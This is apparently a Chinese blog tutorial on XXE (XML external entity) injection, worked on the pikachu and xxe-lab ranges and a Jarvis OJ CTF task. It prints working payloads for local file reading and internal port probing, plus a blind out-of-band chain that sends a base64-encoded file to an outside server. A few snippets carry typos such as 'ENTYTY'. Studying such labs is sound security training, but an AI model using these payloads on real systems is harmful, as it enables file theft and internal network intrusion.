WEB漏洞-XXE&XML之利用检测绕过全解

在这里插入图片描述xml基础概念
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

xml示例

<!--文档类型定义-->
<!DOCTYPE note [	<!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)>	<!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>			<!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)>		<!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)>		<!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)>		<!--定义body元素为"#PCDATA"类型-->
]]]>

<!--文档元素-->
<note>
    <to>Dave</to>
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
</note>

各各语言对应支持的协议
在这里插入图片描述

演示案例

pikachu靶场XML

文件读取协议

<?xml version = "1.0"?>
<!DOCTYPE ANY [
		<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>

在此处复制xxe文件读取的poc
在这里插入图片描述
点击提交,读取d盘下名为test.txt的文件内容
在这里插入图片描述

内网探针或攻击内网应用

<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTYTY rabbit SYSTEM "http://192.168.1.4:80/index.txt">
]>
<x>&rabbit;</x>

上面的ip地址假设就是内网的一台服务器的ip地址,提交后当存在此ip以及端口文件则不会报错。还可以进行一个端口扫描,看一下端口是否开放。

引入外部实体DTD

<?xml version = "1.0"?>
<!DOCTYPE test [
		<!ENTITY % file SYSTEM "http://8.130.17.18/evil2.dtd">
		%file;
]>
<x>&send;</x>
//下面的是写入文件的
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">

让对方服务器去访问外部的dtd文件。
可以让对方服务器去访问自己服务器上的dtd文件(自己服务器上的dtd文件根据需要自定义内容),从而到达读取等各种攻击。

条件:
看对方的应用有没有禁用外部实体引用,这也是防御XXE的一种措施。
在这里插入图片描述
在这里插入图片描述

无回显-读取文件

<?xml version = "1.0"?>
<!DOCTYPE test [
		<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
		<!ENTITY % dtd SYSTEM "http://8.130.17.18/test.dtd">
		%dtd;
		%send;
]>


test.dtd://自己test.dtd文件的内容
<!ENTITY % payload
	"<!ENTITY &#x25; send SYSTEM
'http://8.130.17.18/b.php?data=%file;'>"
>
%payload;

上面的url一般是自己的网站,通过第一步访问文件,然后再访问dtd文件,把读取到的数据赋给data,然后我们只需要再自己的网站日志,或者写个php脚本保存下来,就能看到读取到的文件数据了。
解析
1.通过php的filter协议读取d:/test.txt的文件内容赋值给变量%file
2.让对方服务器远程去访问自己服务器上的dtd文件
3.对方服务器访问到自己服务器的dtd文件后,让它通过get方式带着%file参数去访问自己服务器别的文件
4.通过日志文件查看get参数接收的值,进行base64解密

在这里插入图片描述
在这里插入图片描述
xxe绕过
https://www.cnblogs.com/20175211lyz/p/11413335.html

XXE漏洞靶场

https://github.com/c0ny1/xxe-lab

首先通过burp进行抓包,发现均为xml传输的特征(开头图片上有写特征)
在这里插入图片描述或者通过burp右键对网站进行简单的爬取
在这里插入图片描述
在爬取的结果中搜索xml关键字在这里插入图片描述搜索出很多处数据包发送类型都是xml
在这里插入图片描述发送到Repeater进行测试
在这里插入图片描述写入payload进行测试,读取d盘下test.txt文件内容
在这里插入图片描述如何发XXE漏洞:
在爬完后,通过搜索xml关键字,查看数据包,发现有通过xml进行传输数据的地方,修改payload提交进行测试。

CTF-Jarvis-OJ-Web-XXE(CTF题)

http://web.jarvisoj.com:9882/

通过抓包发现数据的传输方式是json
在这里插入图片描述更改类型为xml,并写入payload
在这里插入图片描述提交
在这里插入图片描述

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值